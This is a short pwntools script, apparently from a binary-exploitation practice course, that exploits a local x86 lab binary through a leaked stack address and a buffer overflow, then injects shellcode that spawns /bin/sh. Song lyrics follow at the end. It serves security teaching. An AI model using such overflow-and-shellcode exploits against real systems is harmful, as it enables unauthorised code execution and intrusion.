# +------------------------------------------------+
# | Atack: Indirect Call Shellcode                 |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *
import time
import sf

target = process("./Correction-IndrCallShellcode-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("What the dead men say: ")
leak = int(target.recvline().strip(b"\n"), 16)
ret_address = leak + (82)
bof_payload.add_base("stack", ret_address)

bof_payload.set_input_start(0x52)
bof_payload.add_int32(0x20, -0x52, "stack")
bof_payload.add_bytes(0x52, b"\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80")
bof_payload.set_ret(-0x52, "stack")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Distrubed                              |
# +------------------------------------------------+
# | Song: Stupidfy                                 |
# +------------------------------------------------+
# | I get stupidfied,                              |
# | I get stupidfied,                              |
# | Giving me the strength to face them,           |
# | Feeling it taking over now                     |
# +------------------------------------------------+

